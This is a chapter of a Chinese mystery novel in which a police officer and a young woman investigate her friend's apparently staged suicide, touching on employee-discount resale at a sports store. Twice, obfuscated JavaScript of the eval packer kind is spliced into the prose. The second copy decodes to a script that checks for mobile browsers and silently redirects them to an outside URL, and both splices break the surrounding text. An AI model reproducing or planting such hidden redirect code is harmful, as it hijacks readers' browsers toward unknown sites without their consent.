“来这边。”她一把抓住边何的胳膊,将对方拉到角落,“你来卖场干嘛?为了零零的案子?”她语速极快地问道。 “不是,我是来找你的。” “不去调查案子找我做什么?” “找你就是为了调查案子。” “那不还是为了零零的案子?” “不是……”好像被绕进去了,边何挠了挠留着圆寸的脑袋,一时不知如何回答对方。 “算了。我问你,你之前调查过这家卖场吗?” 他点头。 “哎呀,那你赶紧走,别耽误我事儿。”卖场的员工肯定见过边何,知道他是警察,叶微瑄不想暴露自己的身份,“有话以后再说。” 叶微瑄紧张兮兮的表情有点好笑。“你来兼职果然是有目的的。”边何不为所动,站在原地笑道。 前天他来过卖场,是为了确认楚零的工资水平,以及卖场的薪资结构。那天他就发现了叶微瑄,对方当时正手忙脚乱地整理一地的货物。 “明知道楚零是被谋杀的,你还敢来。”他收起笑容,放低声音,“这可不是闹着玩的,你的胆子太大了。” 这人真麻烦。“不用你管。”叶微瑄皱起眉毛,她的声音也很小,“赶紧走,别理我。”她着急地说道,听上去有点生气,“我去工作了。” “别,我有事要问你。”见对方转身就要离开,边何赶忙阻止,“你应该快下班了,我在购物中心一层等你。”他说了一个店名,是一家能吃轻食的咖啡店。 “知道了,知道了。” “哦,还有……”边何忽然恢复正常音量,吓了叶微瑄一跳,心都提到嗓子眼了。“我是客人,你没必要这么小心的和我说话,大大方方的介绍产品不是更好吗?” 说罢,他左右观察一番,走向不远处的经理。“您好,户外水壶在哪?刚问你们工作人员,她说不知道。”他一边大声问,一边看向叶微瑄。 这个边何!面对经理不满的眼神,叶微瑄赶忙露出一个抱歉的微笑,随后躲到一旁。余光中,边何的表情很迫切,就好像真的找了很久的水壶,但微微上扬的嘴角还是暴露了他的笑意。 小瑄这下要挨说了吧,边何谢过经理后,离开跑步区,前往户外运动区。斜对面的镜子告诉他,那名经理正朝叶微瑄走去。 一会儿会不会被算账啊,他的视线始终落在镜子上,没看到正前方的人,不小心与对方撞了一个满怀。 “诶呀!”女客人被撞了一个踉跄,有些恼怒,用手捂着脑袋,“不看路啊!” “抱歉,是我的问题。”边何赶忙弯腰去捡对方掉在地上的袋子,一件黑色的速干衣滑了出来,“给,实在对不起。” 这时郭宇跑了过来,对方看见边何怔了怔,脸上的笑容僵住了。 “你们好像都不欢迎我啊?”客人走后,边何向对方打趣道。 “怎么会。”郭宇不自然地深吸一口气,表情分明是在说:有病才喜欢和警察打交道。” “可能大家都比较怕你,毕竟您是警察。”他略显尴尬地解释,浓眉下的小眼睛转来转去。 “没做坏事怕我干嘛?”边何笑道,“不过你不用担心,我下班了,是来买户外水壶的。有推荐的牌子吗?” “这样啊,有,必须有。” “那就麻烦了。” 边何没打算逗留,挑了一个一升的保温壶后便离开卖场,前往一层的咖啡店。 即使是晚上,咖啡店仍然是购物中心为数不多的能称之为热闹的场所。不少中年人坐在窗边的位置使用电脑,男性居多,手旁放着一杯早已喝完的咖啡。他扫了一眼,其中几人在浏览求职网站。 边何没有吃晚饭,望着点餐台上方的价目表犹豫,最终什么也没点就走向角落的桌组。落座后他看了一眼手表,不到八点,叶微瑄还有十几分钟就下班了。 他不喜欢等待,认为是在浪费时间。但今日有所不同,他忽然发现等待也分人,即使是饿着,只要人对了他也愿意等。真是神奇,他为自己的想法感到不可思议,打开随身携带的平板电脑,认真研究起案情。 从与马暗尘的对话中得知,楚零与顾锵然之间出现了矛盾,而且矛盾不小,不然马暗尘不会第一时间认为顾锵然是导致楚零“自杀”的原因。另外,顾锵然的行为也令边何感到在意。为见女朋友,将女朋友送的两双篮球鞋刷的干干净净,乍一看是感人的爱情,但这事放在一个从不刷鞋的人身上就有点奇怪了。是什么让他做出改变的呢? 难道是为了哄女朋友?边何抱起双臂靠向椅背,目光落在平板上。楚零手腕上的踟蹰伤极有可能和顾锵然有关,他在心中做出判断。除此之外,作为楚零闺蜜的叶微瑄可能不知道二人间的矛盾,因为叶微瑄着急找到凶手,如果知道什么一定会告诉他。 连闺蜜都不能告诉……对面传来包重重落在沙发上的声音,明显是带着气。边何下意识地瞟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“目的你不是猜到了吗?是为了调查零零的事。”叶微瑄向前探了探身子,小声说道,“至于计划……”好像没想过,眉毛暴露了她的心虚,不自觉地拧在一起。 “没有计划?” “也不是没有,就是先和同事打成一片,看看都是些什么人。” “哈哈哈”,边何笑出声音,这声音在叶微瑄看来比蚊子还令人感到烦躁。她瞪了边何一眼,对方顿时收起笑容。 “不说笑了。你怀疑楚零的死与这家卖场有关,对吗?”边何问。 “是,因为我想不出其他可疑对象了。零零在燕京认识的人不多,只有我、锵然、涂涂、暗尘和她的同事。我们几个是不会伤害她的,最有可能的就是同事。” “是么?” “你什么意思?” “我倒是觉得往往造成严重伤害的是身边人。”边何端起手边的牛奶喝了一口,“父母的偏心、兄弟姐妹的攀比、恋人的背叛、朋友的嫉妒,这些事情发生的概率远比遇到一个讨厌你的陌生人要高。不是么?” 这人是有什么童年阴影么。叶微瑄吃了一大口菜,没有回应对方。 “大部分情况下,陌生人是不会捅你一刀的。但是我刚刚说的那些却可能时刻存在,并且同时发生。伤害如同慢性毒药侵蚀人们的心灵,这和压死骆驼的稻草没有区别,落下最后一根稻草是早晚的事。楚零的案子也一样。” “你到底想说什么?” “我想说,在找到凶手之前,有件事我……哦不,我们必须要调查清楚,就是楚零手腕上的伤。割腕自杀的原因有很多,信念崩塌,又或者是失望与压力。我想你忽然来卖场工作是有原因的,应该是发现了什么。我不认为你会发现与谋杀有关的线索,因为你远没有我掌握的信息多。所以你发现什么了?大概是与对方试图割腕有关的线索吧。” 叶微瑄愣住了,顿感口干舌燥。她咬着嘴唇,低下头。说还是不说呢?还是如实相告吧。她很快说服自己,因为她发现不说没有任何意义,边何才是那个能帮她找到凶手的人。 “被你说中了。”她的语气有些沮丧,嘴唇不由得上翘,“我怀疑零零可能用员工价倒卖产品,然后被发现了。” “员工价?” “就是内部折扣价,你竟然不知道吗?” 13. 梦的启示2 “大概就是这样……”叶微瑄简单与边何说了说自己的发现和想法,“无论是兼职还是全职,我们都可以以八折的价格购买本公司产品,还可以买给家人,并且不限次数。方法也简单,只需买下产品,再找财务报销。” “原来是这样。”边何皱起眉毛,若有所思地用勺子将碗中的米饭刮到一起,表情渐渐凝重。“我觉得公司是在鼓励员工购买,为什么还要介意他们把产品卖给别人?” “当然要介意啊。福利是福利,销售是销售。这家卖场没有个人销售提成,是按月度销售额和岗位级别发绩效奖金。如果大家都在八折的基础上打折售卖,销售额自然会下滑,这是在侵蚀公司的利润。正常价格等于形同虚设,会影响管理层和公司的利益,所以就要禁止。” “有道理。这么一来,能否遵守制度使用内部折扣就全凭员工的自觉性了。” “没错。”叶微瑄点头,“我那天来卖场没打算兼职,但是徒步区的工作人员却对我说了折扣的事。听她的语气,可能有人做这事被发现了,我就猜会不会与零零有关系。我想调查清楚,不过比起怀疑,我更愿意相信零零。” “你好像一直都很相信她。” “是的,我不相信零零会自杀,也不相信她会倒卖产品。无论是前者还是后者,我都要调查清楚。”她的语气很坚定,说完喝了一口柠檬水。 边何发现,叶微瑄的眼眶有些红。 “三天过去了,没有一个同事和我提起零零。真让人难过啊,生命就这么悄无声息的消失了。” “这家店的店长离职了,你知道吧?”边何从旁边的盒子里抽出一张纸巾,递给叶微瑄,“就在楚零死后不久。” “我知道,但副店长没和我说太多,就说是离职了,暂时由他代行店长职责。坦白讲,我怀疑店长的离职和零零的死有关系,是这样吗?” “以前没关系,现在可能有关系了。”他吃完最后一口米饭,将杯中牛奶一饮而尽。叶微瑄也递给他一张纸巾,并用手指敲了敲嘴边,示意他有奶渍。 他道了一声“谢谢”,仔细想了想,再度开口:“我本不该向你透露与凶杀案有关的调查,但我想我可以和你说说前店长。案发后,我第一时间调查过她。她是楚零的领导,而且是女性,若是晚上造访楚零家,楚零应该不会将其拒之门外,符合熟人作案的假设。” 还真是,叶微瑄听得头皮发麻。楚零和前店长的关系不错,她经常听楚零提起对方。 “不过,她应该不是杀害楚零的凶手。”边何话锋一转,“楚零遇害的当晚,她要上英语培训课,上课地点就在卖场附近。下课后,她便乘公共交通回到燕郊的家。交通卡刷卡记录和公交车摄像头都可以证明。” “那你为什么说有关系?” “她与楚零的遇害无关,但可能与楚零手腕上的伤有关。”边何抬起手扭了扭,语气渐渐严肃,“在这个社会,有多少人会因为一个人的死而放弃前途?更何况,她们才认识不久。” 叶微瑄心里一沉。不得不承认,边何的想法虽然消极,说的却也没错。对方是警察,天天与罪恶打交道,免不了受到负面影响。她没有反驳对方,而是催促道:“别卖关子行不行?直说嘛。” “我问你,我为什么不知道员工价的事?”边何一如既往地引导叶微瑄寻找答案,对方似乎很吃他这套。 “你?” “是啊,我明明去卖场调查过,但从没有人和我提起员工价的事。同样的,也没有人和你提起楚零的死。把这两件事放在一起想,这正常吗?” 听边何这么说,叶微瑄仿佛被闪电击中,露出一个茫然的神色。她感到有点冷,耳边响起蜂鸣声。她想起案发当天叽叽喳喳的围观群众,以及那些事后传闲话的邻居。是的,面对与自己无关的热点话题时,人们通常会怎么做呢? 她深吸一口气,盯着木咖啡桌,不停揉搓双臂。模糊的想法逐渐拼凑成形,就像木头的原生条纹,虽然歪七扭八,却条条清晰。 边何没有打扰叶微瑄思考,起身前往点餐台,回来时端着一杯热水。他把热水推给叶微瑄,问:“想明白了吗?” “单个反常事件可能是疏忽大意。”叶微瑄喃喃说道,“多个反常事件就是故意的了。同事们在刻意隐瞒什么。他们集体保持缄默,对员工价的事和零零的死避口不谈,只能说明他们牵扯其中。” “聪明。人啊,在涉及自己利益的时候会格外的小心谨慎,搞不好很多人都在用员工价倒卖产品。这可能是一个普遍现象。” 为什么偏偏是零零啊!叶微瑄内心愤懑不平。她不由自主地握紧热水杯,掌心微微灼痛。 “别生气,老的快。” “真烦人。不过我仍然不理解,你说店长不会因员工的死离职,是什么意思?” “包括店长在内的那些人不知道楚零是被谋杀的,他们得到的消息是楚零因‘自杀’身亡了。” 边何的目光闪烁不定,叶微瑄不由得倒吸一口凉气。“啊!我知道了!”她差点喊出来,“店长可能认为是自己的行为导致惨剧的发生!” “没错,但目前只是猜测。” “他们不说,我们怎么调查?”叶微瑄向前探出身子,放低声音,“我想翻销售记录来着,看看零零是否真的用员工价倒卖产品,可人家不让。我没强求,想着等过阵子熟了再说,省的他们以为我是商业间谍。” 别说,是挺有潜力的。为了友情竟然卧底做兼职,边何哧哧地笑出声音,这女人的脑回路真是不一般。 “你别笑了。你是警察,肯定有办法的吧?”叶微瑄期待地看向他。 边何“嗯”了一声。“直接问就成。” “什么?” “你都说了,我是警察嘛,发现可疑线索当然是直接询问啊,而且他们不敢对我说假话。” “你别暴露我!我才兼职三天!” “哈哈,不会的,就说听店内客人说的。再说了,我有必要和他们解释嘛?这些人隐瞒了可能与案情有关的线索,就算他们没有主动的恶意,但也选择站在恶的一边了。” “恶意……倒也没这么严重吧。” “可能比我说的还要严重。”边何摇摇手指,不屑的笑容中透着一丝悲悯,“既然有了大概的猜测,接下来就是验证。等我信,这两天就能有结果。” 他很自信,这让叶微瑄找到踏实的感觉。可能由于是警察的缘故,她认为对方一定能言出必行。“你会告诉我吗?”她用试探的语气问,“会不会违反纪律?” “不会的,别忘了,案子已经结了,结论是‘自杀’。当然,我是不会和你分享有关谋杀方面的线索的。” “足够了。”叶微瑄嘴角上扬,向对方释放一个甜美的笑容,“谢谢你,让我觉得自己真的可以为零零做点什么。” “不客气。” 购物中心晚上十点关门,二人在九点半左右离开咖啡店。叶微瑄给边何转了自己的那份晚餐钱,对方笑着没有拒绝。 和他们同时走出咖啡店的还有一个夹着笔记本电脑的中年男人,西装革履文质彬彬的,只是打电话的语气有点急。“加班来着,这就回家。放心吧,老婆。”对方发现叶、何二人在看他,不好意思地笑笑,快步走开了。 “又是一个和老婆撒谎的男人,也不知道刚刚见的谁。”叶微瑄无奈地感叹道,“爱情的新鲜劲过了,是不是就一定会……”话说一半,她顿住了。和边何说这些干嘛?她尴尬地扭头,朝地铁口走去。 “你想多了。”边何追了上去,“那个男人可能失业了,他刚才登录的是求职网站。” “啊?” “是的。他是骗老婆了,但不是因为劈腿。失去工作会让老婆孩子失望,会让亲戚朋友看不起,所以他选择隐瞒。”边何忽然站到叶微瑄面前,表情认真地说道,“有时我会觉得这个世界刻板又刻薄,男人女人都被条条框框限制住了,人们被迫做着选择,压力就是这么来的。我是男孩子,父母从小就灌输我养家的思想。他们会说,男人就该怎么样,是家里的顶梁柱。而女孩子呢……我猜也差不多。” “要像个女孩子一样,不要疯疯癫癫的,不然嫁不出去。”叶微瑄笑着回应对方的话题,“连饭都不会做,以后结婚怎么办?” “哈哈哈”,他们看向彼此,相视大笑,引得路人纷纷侧目。 “好啦,让开吧,我要回家啦。”大笑过后,叶微瑄朝边何眨了眨眼睛,“你坐地铁吗?要不要一起?”她不忘发出邀请。 “要一起,但不是坐地铁。”边何向电梯的方向歪了歪脑袋,“开车来的,我送你回家。” 这人还挺有意思的——叶微瑄第一次产生了这样的想法。她找不到拒绝的理由,欣然接受对方的好意。 二人下到地库,边何的车离电梯间不远,是一辆黑色的德系燃油两厢车。叶微瑄对车不了解,但还是能看出这车有年头了,车身灰头土脸的。 “车是二手的,江湖人称‘小钢炮’,原来是师父朋友的车。车主没开多少公里,基于是旧版,白菜价就卖给我了,跟送的没两样。”边何笑呵呵地挠挠脸颊,好像该洗车了。“黑车不禁脏,请不要介意。” “我才不介意,有车坐最好了,比挤地铁强。”叶微瑄拉开车门,一屁股坐到副驾驶的位置。 车内装饰朴素,也可以说是没有。前后挡风玻璃的下方很干净,手扣的位置放着保温杯,后座有件黑色羽绒服。除此之外,再也看不到任何与车无关的杂物。不过很快,边何便将新买的保温壶放到后座。 车辆驶离购物中心。燕京路网主要由几条快速路和环线构成,现在已过晚高峰时段,路面还算通畅。购物中心在城区南部,距离叶微瑄家需15分钟的车程。这两年街边的广告牌少了许多,夜空下的路两侧稍显暗淡,亮灯营业的多是个体经营的饭店,以烧烤和火锅居多。 “那有一家成人英语培训机构。”叶微瑄指向斜前方,亮着门头的包子铺旁边有个黑灯的店面。工作日能上课的人少,排课少,培训机构也就早早关门了。“会不会就是店长去的那家?” “是的。这两年培训机构的日子不好过,活下来的屈指可数。卖场附近就这一家。” “是哦。”这时她想起什么,“零零和我说过,公司有去海外学习深造的机会。她也在好好学英语呢。” “猜到了。”边何打了左转向灯,车辆拐进三环主路,“楚零的书架上有不少英文书籍,还有一本厚重的牛津词典。这年头肯翻词典的人可不多了。” “嗯,她和我说过,纸质书籍让她感到真实,所以无论是小说还是工具书,她都喜欢看纸质版本的。我就不一样啦,电子书和纸质书都行。大学的时候我们一起去图书馆,她说我玩手机,其实我是在看资料……” 她滔滔不绝地聊起往事,关于友情的回忆就像车窗外的高楼,巍然屹立在脑海中,深刻且不可撼动。 “诶?对了,我最近总梦见零零,梦见我们以前的事。梦里我就后悔,后悔没有阻止她来燕京,后悔没能阻止她给锵然买球鞋。”她一边说一边笑,“我还在梦里试着改变,试图阻止即将发生的事实。可惜啊,总是事与愿违。” “咯咯咯”,边何笑出声音。 “你是不是觉得我精神有问题?” “不不,这很正常。” “啊?” 边何的表情不像在开玩笑。“从科学的角度看,梦境和记忆息息相关。打个比方吧,你认为我是讨厌的人,那么我在你的梦里也大概率是讨厌的人,会做让你讨厌的事。很好理解吧?” “不是很理解。” “哈哈哈”,他放慢车速,扭头瞅了一眼叶微瑄。对方仰着脑袋看向车顶,不是不理解,而是不想理他。 “心理学家弗洛伊德认为,梦会把遥远但相关的记忆连结起来,然后强化成整体的故事。有的小说家的灵感就源自梦境,那些生活中不曾留意的细节可能会成为他们笔下生动而又新奇的故事。所以,与其说是灵感,不如说是被唤醒的深层记忆。” 边何的话终于引起叶微瑄的注意。对方说的有道理,哦不,是弗洛伊德说的有道理。她的梦境就是完整的故事,生活中的人以各自原有的性格出现,言行举止也一模一样。现在想想,梦里朋友们会做的事,他们在现实生活中也会做。 “可我为什么会梦见别人的视角啊?我曾……曾经梦到过零零的视角,而且不止呢……” “因为那是你以为的他们。” “我以为的他们……” “对,弗洛伊德还说……”边何继续说道,“梦是潜意识欲望的满足。就说我刚才举得例子吧,你在现实生活中讨厌我,但又拿我没办法。如果你在梦里遇到我,很可能会揍我一顿,揍到我跪地求饶为止。” “我才没有那么阴暗呢,最多踹你两脚。” “感恩你的善良。” “哈哈哈”,叶微瑄靠向车门,瞥了一眼边何的侧脸。边何目不斜视,眉眼带笑,与严肃时的神情判若两人。 边何察觉到叶微瑄的目光,咳嗽了一声。“你可能非常后悔让楚零来燕京,所以才做那样的梦。篮球鞋的事也一样,你之前就不认可她的行为,只是没告诉她。你平时对朋友有看法,但从来不说。在梦里却不会,朋友糟糕的一面被放大。很多人试图掌控梦境,做平时不敢做的事。” “被放大……” “是的。基于楚零的死,你可能在潜意识里将原因归咎于某个人,或者某几个人。你觉得是他们的行为间接造成楚零的身亡。”说着,他用余光瞄了一眼叶微瑄的表情,见对方听得认真,便无所顾忌地说下去,“而且你认为自己也有错,所以才在梦里做出改变。” 叶微瑄“嗯”了一声,被看穿的滋味真不好受啊。她扭头看向窗外,一幢幢高楼被车辆抛在身后。 大部分时间,叶微瑄认为楚零是一个温柔体贴的人,不爱给别人找麻烦,敢于为爱赴汤蹈火。顾锵然和楚零很配,老实本分也很稳重,对女朋友真心实意。另外两人,马暗尘阳光直爽,心思单纯,有颗赤诚的心。陶涂涂热心大方,乐于助人,愿意向陌生人慷慨解囊。 可人并不是完美的,性格具有多面性。角度不同,遇见的事不同,人们的优点也可能是他们的缺点,叶微瑄自己也一样。 车内很安静,空调吹着暖风,出风口传来轻微的霉臭味。边何向右并道,提前驶出主路。面对叶微瑄疑问的目光,他笑道:“你是不是不开心了?现在放你回去我不放心,想多陪你一会儿。” “我没事。”叶微瑄歪着脑袋笑了笑,“其实我挺喜欢做梦的。就像你说的,至少我可以成为自己想要的样子,做平时不会做的事。” “难怪有人说,梦会给人以启示。” “是呀。你看啊,我醒着的时候会想:如果当初没有这么做就好了,然后就梦到了。结果梦没有给我面子,结局出乎意料。好尴尬哦,我想改变现实,却制造出‘如果’的意外。” “‘如果’的意外……”边何会意,“我问你,如果真的给你回到过去的机会,在面对同一件后悔的事情时,你会做出不一样的选择吗?” “那要看我以什么样的心智状态回去了。如果是现在的状态,我想我会尝试改变。但如果又回到曾经的年龄,可能不会吧。” “肯定吗?” 叶微瑄思考了一会儿,用力地点点头。“肯定。” 边何笑着看向前方,一语不发。他很高兴,能在这个寒冷的冬季遇见一个真诚的人。同时他也感到庆幸,这人与他心灵契合,而且是一个女人,还单身。 十五分钟的路程不长,车缓缓停靠在小区路边。路上的行人不多了,破旧的老楼间稀稀疏疏的亮着暖黄色的灯。 “嗯……”下车前,叶微瑄欲言又止,犹豫着要不要说后面的话。她咬了咬嘴唇,觉得还是有必要告诉边何,而且她似乎也不是那么着急回家了。“有件事你可能不知道,我和马暗尘交往过两年多。” “哦。” “你怎么一点不惊讶?”她睁大眼睛。难道是没熟到那个程度,边何对她的八卦不感兴趣?早知道不说了,好像很多余。 “哈哈,瞧你的表情。我昨天找过马暗尘,他告诉我了。”边何用食指挠了挠眉毛,“不过我是去办案的,我们的谈话内容和你没关系。”他不经意地挑了下眉毛,忍着笑意看向一边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506580|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好吧。你给我看的那两双篮球鞋……”叶微瑄讲述了一遍事情经过,和马暗尘所言无差,“暗尘那会儿就是个自大的莽夫,总欺负锵然。零零向我承认过,她起初喜欢锵然有同情的原因。无论什么场合,锵然都看着很老实。” “和楚零的父母一样?” 叶微瑄愣住了。好像是——她用沉默不语的方式回答了对方。 “如此推断,楚零也应该是一个非常懂事的女儿,会心疼父母。她如此努力的学习和工作,恐怕有部分原因是为了父母。” “没错!还有一部分是为了锵然。” “那她给自己留下什么呢?恐怕只有很少的一部分吧。”边何耸起眉毛,心生哀怜,“她这样很危险的,父母不会辜负她,但顾锵然可能会——” “别瞎说!”叶微瑄打断边何,“你怎么和涂涂似的。葬礼那天,涂涂也说她以为零零是和锵然吵架才自杀的。” “什么?”叶微瑄的话引起边何的注意。这话很耳熟,昨天刚从马暗尘嘴里听到过。“陶涂涂为什么那么说?” “没有为什么,就是胡说八道。恋人吵架再正常不过,哪里会闹到要自杀。再说了,涂涂知道他们偶尔小吵小闹,她纯粹是嘴上没个把门的。她的话不用在意,这家伙一天到晚没心没肺的,即使是表象。” 真是这样么?边何重重地吐了一口气,硬生生地将怀疑的话咽回到肚子里。“也许吧。”他说,“不提这个了。葬礼那天,我看你对马暗尘的态度不像是对待前男友,难得啊。” “我早就原谅他了,但我只原谅他这个人,没有原谅他做的事。” “什么事这么严重?”他明知故问。 “我们分手是因为他劈腿,一夜情。” “你很难过吧?” 真不想回忆啊,她“嗯”了一声,揉了揉忽然酸胀的眼睛。 【我撞见暗尘和别的女生在酒店大堂,他也看见我了。】 直到现在,她都记得收到陶涂涂这条微信时的感觉。震惊、茫然、不知所措,甚至不敢相信。当时,世界寂静的可怕,没有任何声音。她浑身发抖,慌乱不堪的心跳仿佛控制了神经中枢,连哭都哭不出来。她想立刻给马暗尘打电话,只是双手抖得厉害,连手机都拿不住。 怎么可能呢?马暗尘明明那么爱她。她魂不守舍地窝在床上,没有去上课。舍友们察觉到不对劲,好心询问,但她们关心的言语令她感到烦躁。她不想理会任何人,脑袋里只有马暗尘。她希望马暗尘主动找她解释,可是对方很安静,似乎是在用沉默承认事实。 晚上的时候,心跳渐归平静。她开始哭,哭得停不下来。她哭着发微信问马暗尘是不是真的,对方很快给了她肯定的答复,态度冷漠,看不出丝毫的抱歉。她更痛苦了,但几乎没有犹豫,直接给对方发了三个字——“分手吧。” “我也是佩服你,说分就分了。”边何稍稍调低座椅靠背,向后一仰。叶微瑄的语气很平静,但边何还是从身后的角度看到对方明亮的眼底闪着晶莹剔透的泪花。“不说女人,男人也很难做到和爱的人说分手就分手。” “我接受不了劈腿,一次都不行,哪怕是一夜情。暗尘知道的,刚在一起的时候我就和他说过,这是我的底线。没想到背叛真的发生了……怎么说呢,分手很痛苦,但没有被背叛痛苦。现在看来,比起爱他,我可能更爱自己吧。” 小瑄很坦诚,边何心想。 “刚分手的半个月,我瘦了15斤,生活就如行尸走肉一般。”叶微瑄吸了吸鼻子,“快乐忽然消失了,周边的一切都变得索然无味。同学关切的眼神在我看来是同情,也可能是嘲笑。‘看,让她秀恩爱啊。’——我常常会这么想。我开始喜欢独来独往,谁也不想搭理。在这样糟糕的状态下,期末自然是没考好。回家后我爸还总是叨叨我,和我强调铁饭碗的重要性。你知道么,那时我真想一死了之。” 边何很想拥抱独自诉说的女孩,只是忍住了。 “你不要用这样的眼神看我,我是不会做傻事的,因为我爱自己呀。” “哈哈。” 对方爽朗的笑声似乎有魔力,叶微瑄也破涕为笑。“当然,我最要感谢的还是零零。”叶微瑄扭头看向边何,露出一个由衷的笑颜,“失恋的那段时间,零零代替马暗尘和我说‘早安’‘晚安’,叮嘱我吃饭,还会定期检查我的体重。她说不能因为一个男人失去自我,要对生活抱有希望,要坚强。” “原来是这样。” “是的,我是在她的陪伴下走出失恋阴影的。说句实话,我自认是一个重视友情的人,但也不会随便邀请朋友到家里住。住多久、爸妈会不会有意见、吃饭怎么办,这些小事可能会影响我们的关系。但毕业后我带零零回家了,因为她住多久都行,爸妈有意见也没用,我管她饭。我愿意做这些事,零零使我重燃对生活的希望,是一辈子的朋友。” “难怪你坚信她不会自杀。” “是啊,各种原因吧。” 各种原因……边何在心中重复着对方的话。“一个结果往往是由多个原因造成的……真相不会消失,只是被厚重的墙围住了,而不是单纯的躲在一堵墙的后面。”他想起师父说过的话。 “想什么呢?” “啊!没有!”他想的投入,被吓了一跳,猛地坐直身体,左顾右盼的。 叶微瑄莞尔一笑。“你挺有意思的,和你聊天很开心。”与边何聊天没负担,好像什么都可以说,对方也不会对她有看法。她心情愉悦,摩挲着自己的包,看向边何,“好啦,我该回家了,抱歉耽误你这么久,听我说这些有的没的。” “没有,一点不耽误。”车内空间紧凑,边何垂下视线,心怦怦直跳。他庆幸顶灯坏了,还没来得及修。由于灯光昏暗,对方看不见他红成烙铁的耳朵。“对了对了。”他忙忙叨叨地向后座伸手,“这是送你的。” 叶微瑄的视线落在边何的手上,是新买的黑色保温壶。她不明所以,朝对方眨了眨眼睛,问:“送我保温壶干嘛?” “我去过卖场几次,地下空间比楼上冷。我看……我看很多员工冻的直哆嗦。” 说的不会是她吧。叶微瑄有点想笑,但是忍住了。对方竟然送她保温壶,还是黑色一升装的……谁家女孩子会拎着一升的黑色保温壶上班啊。 “怎么说你也是我……我的破案搭档。我们有共同的目标,我不想在没达成目标前,你先病倒了。” “哈哈哈”,叶微瑄笑出声音,边何窘迫的模样有点好笑,完全不像警察。“你好奇怪。”她直视对方的眼睛。 干嘛这么盯着他。“奇怪?” “嗯。去卖场兼职的事我谁都没有说,不是不想说,而是怕被反对。我认识的朋友,包括我的父母,一定会说我鲁莽、草率,说我疯了。你倒好,作为警察不仅不劝我,还帮我。” “因为这是你想做的事啊。”他脱口而出。 叶微瑄的眼睛亮了,就像夜空中的星星。不管过去和未来,尽管才认识不久,至少在这一刻边何就是那个最了解她的人。 “我有能力保护我国公民的人身安全,尤其是你的。”边何似乎不敢看她的眼睛,将保温壶直接放到她的腿上,小声说道,“给。” “那就谢谢啦。”她没有拒绝,“改天请你吃饭。” “不用这么客气。” 叶微瑄打开车门。腊月隆冬,车外寒风刺骨,远没有车内温暖。她缩着身体,拉紧羽绒服。“走啦,拜拜。”她回头打招呼,发现边何也下车了。 “小……小瑄。” “啊?”对方还是第一次这么叫她。 “那个……我……”边何没穿外套,躲在车身后面,倒也没觉得冷,“下次有机会我想上去坐坐,喝杯热茶。” 叶微瑄怔了怔,沉默了两秒,随即露出一个微笑,“等零零的事结束再说吧,好吗?” “好。” “谢谢你。”她转身,走进小区。 边何站在车门后,目送叶微瑄回家。这个世界可能就是刻板又刻薄,罪恶泛滥,但面前渐渐消失的背影似乎能让人感到信任和真诚。不一会儿,六楼某房间的灯亮了,灯光昏黄,温暖而又明亮。 14. 牛津词典1 翌日上午,边何先回了一趟支队,向师父汇报楚零一案的进展。临近过年,队里巡视和安保的任务比较重,值守警员的脸上无不透着疲惫,连刚毕业的新兵蛋子也不像来时那般有活力。他到的时候,院子里的警车不多,大部分出外勤了。办公楼走廊传来急促的脚步声,一个无论是长相还是身材都五大三粗的同事骂骂咧咧地跑向门口,听意思好像是某个小区发生了严重的入室盗窃案。 师父的办公室在三层走廊的尽头,他站在办公室门口敲了敲门。“进。”听到熟悉的声音,边何稍稍整理衣领,推门走进办公室。 办公室十五平方米左右,置有深棕色的书桌、书柜、黑色沙发和透明茶几,墙角处摆放着几盆绿植。房间的主人坐在办公桌后,双手交叉置于桌前,左手无名指上的铂金婚戒十分醒目。见是他来了,对方瞬时露出一个和善的笑容。 “坐吧。” “大概就是这样……”十几分钟后,边何靠向椅背,摊开双手,“师父你是不知道,独自办案很难,名不正言不顺的,还好楚零的朋友愿意帮忙。”他习惯性的向师父诉苦,但也算实话实说,“不然我一时半会儿很难发现员工价的问题。” “是啊,很难叫醒装睡的人,更何况让他们主动说话。你调查这案子有段时间了,若是有进展就可以摇人了,取证过程要严谨,别违反纪律和程序要求,以免功亏一篑。” “是是,我听您的。” “别不耐烦,接下来有什么计划?” “我一会儿要去见楚零的大学同学,叫陶涂涂,不知道您有没有印象。下午,我打算去趟运动卖场,调查卖场的销售记录。” “我问你,你查销售记录的目的是什么?” “看看到底有多少人在滥用员工价倒卖产品。” “然后呢?” “然后?”他擦了一下鼻子,心里忽然没了底,盯着墙上的常服外套思考。 “我猜你原打算质问他们,并以警察的身份震慑他们,觉得这样那些员工就会说真话,告诉你被害人在卖场遭遇的一切。” 又被看穿了。“确实是这么打算的。” “我劝你不要这么做,不然你不仅听不到真话,还可能伤害无辜的人。” “那家店有无辜的人吗?”边何小声抗议,即使他知道会被训斥,“若员工价真的与楚零的遭遇有关,他们知情不报就是全员恶人。” “不要这么说。”师父的语气不容置喙,表情也变得严肃,“小边,我和你说过很多次,世界不是非黑即白的。部分员工是选择闭嘴,但可能不是自愿的。人在职场身不由己,都是为了一口饭。” 边何无言以对。“是。”他强迫自己认同,随即垂下视线。 “不服气?” “有点。” 见他耷拉着脑袋,师父笑了。“对不好的行为有看法,说明你有良知。但是作为警察,不要带着情绪和偏见办案,先入为主的想法会干扰你的判断能力。愤怒、厌恶、同情、怜悯可以有,但请你藏在心里。” 他不情愿地点点头。“我听您的,只找几个主要负责人谈话。” “我再给你一个建议。有多少人、如何利用员工价倒卖产品是人家公司的事,少参与与本案无关的事。你只须调查被害人与员工价的关系,让其他人放松警惕。以我对部分人的了解,你会有意想不到的收获。” “要不您说明白点?”他缩着脖子,抬起眼皮。 “臭小子。”师父笑了笑,不过很快便恢复严肃的神态。“死人是没法解释的。能明白吗?那女孩很可怜。” 